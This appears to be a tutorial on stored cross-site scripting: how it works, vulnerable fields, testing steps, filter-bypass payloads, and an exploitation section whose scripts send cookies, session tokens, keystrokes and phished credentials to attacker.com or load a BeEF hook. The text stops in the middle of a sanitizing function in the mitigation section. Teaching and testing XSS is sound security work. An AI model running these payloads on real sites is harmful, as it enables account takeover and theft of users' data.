Understanding Stored Cross-Site Scripting (XSS)
Stored Cross-Site Scripting (XSS) is a critical web vulnerability that allows attackers to inject malicious scripts permanently into a web application's database or storage. Unlike reflected XSS, these scripts execute automatically in every user's browser who accesses the compromised page, making it particularly dangerous for widespread attacks without requiring social engineering.
Key Points
- Persistence: Malicious scripts are stored on the server and execute repeatedly without resubmission
- Wide Impact: Affects all users who view the compromised content, not just targeted individuals
- No User Interaction Required: Scripts execute simply by visiting the vulnerable page
- High Severity: Can lead to session hijacking, data theft, account takeover, and malware distribution
- Common Targets: Comment sections, user profiles, message boards, and any persistent user input fields
How Stored XSS Works
When a web application fails to properly sanitize user input before storing it, attackers can inject malicious JavaScript into databases, comment fields, or other persistent storage. The attack flow works as follows:
- Attacker submits malicious script through an input field
- Application stores the unsanitized input in the database
- Application retrieves and renders the stored data on a page
- Victim's browser executes the malicious script automatically
What Attackers Can Achieve
- Steal session cookies or authentication tokens to hijack user accounts
- Redirect users to phishing sites to harvest credentials
- Perform unauthorized actions like changing account settings or making purchases
- Deploy keyloggers to capture sensitive information
- Deface websites or inject malicious content
- Spread malware through compromised pages
Critical Note: Stored XSS is classified as a high-severity vulnerability because it requires no user interaction beyond visiting the page and can compromise multiple users simultaneously.
Common Attack Vectors
Stored XSS typically exploits input fields where user data is saved and later displayed to other users:
High-Risk Input Fields
- Comment sections on blogs, forums, or social media
- User profile fields including bio, display name, location, or website
- Message boards and chat applications
- Review and rating systems
- File upload metadata such as filenames, descriptions, or alt text
- Contact forms that display submitted messages
- Guestbooks and feedback forms
- Wiki pages and collaborative documents
Initial Detection Indicators
- Input fields that persist data across sessions
- Dynamic content rendering without visible encoding
- User-generated content displayed to other users
- Lack of input validation or output encoding
- HTML rendering in unexpected contexts
Testing for Stored XSS
Step-by-Step Testing Strategy
1. Submit a Test Payload
Start with a simple, harmless payload to test if scripts execute:
<script>alert('XSS')</script>
Submit this through the input field and check if an alert box appears when the page reloads or when accessed by another user.
2. Analyze Input Reflection
Use browser DevTools (F12) to inspect how your input is rendered:
- Raw HTML rendering:
<div><script>alert('XSS')</script></div>(vulnerable) - Attribute context:
<img src="user_input">(potentially vulnerable) - Properly escaped:
<script>alert('XSS')</script>(protected)
3. Verify Persistence
- Submit the payload and log out
- Access the page as a different user or in an incognito window
- Confirm the script executes without resubmitting input
- Check if the payload survives page refreshes
4. Test Context-Specific Payloads
If basic payloads fail, try context-appropriate alternatives:
<!-- Event handlers -->
<img src=x onerror=alert('XSS')>
<!-- SVG vectors -->
<svg onload=alert('XSS')>
<!-- JavaScript URI -->
<a href="javascript:alert('XSS')">Click</a>
<!-- HTML5 attributes -->
<input autofocus onfocus=alert('XSS')>
5. Test for Filter Bypasses
Try obfuscation and encoding techniques:
// Case variation
<ScRiPt>alert('XSS')</ScRiPt>
// HTML encoding
<img src=x onerror="alert('XSS')">
// URL encoding
<a href="javascript:%61%6C%65%72%74%28%27%58%53%53%27%29">Click</a>
// Polyglot payloads
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e
Exploitation Techniques
Basic Payload Examples
| Payload Type | Example | Use Case |
|---|---|---|
| Script Tag | <script>alert(document.cookie)</script> | Cookie theft (if not HttpOnly) |
| Event Handler | <img src=x onerror=alert('XSS')> | Bypass script tag filters |
| JavaScript URI | <a href="javascript:alert(1)">Click</a> | Execute on user interaction |
| SVG Vector | <svg onload=alert('XSS')> | Alternative execution context |
| Body Tag | <body onload=alert('XSS')> | Execute on page load |
Advanced Exploitation Scenarios
Data Exfiltration
Send stolen data to an attacker-controlled server:
// Using fetch API
<script>
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
url: window.location.href
})
});
</script>
// Using image beacon
<script>
new Image().src = 'https://attacker.com/steal?data=' +
encodeURIComponent(document.cookie);
</script>
Session Hijacking
Capture and transmit session tokens:
<script>
var token = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/log', true);
xhr.send('session=' + token);
</script>
Keylogging
Record user keystrokes:
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keylog?key=' + e.key +
'&page=' + window.location.href);
});
</script>
Phishing Overlay
Create fake login forms:
<script>
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input name="username" placeholder="Username"><br>
<input name="password" type="password" placeholder="Password"><br>
<button type="submit">Login</button>
</form>
</div>`;
</script>
BeEF Hook Integration
Hook browsers into the Browser Exploitation Framework:
<script src="https://attacker.com:3000/hook.js"></script>
Mitigation and Prevention
Developer Best Practices
Input Sanitization
Remove or escape dangerous characters before storage:
// Example: Sanitize input (server-side)
function sanitizeInput(input) {
return input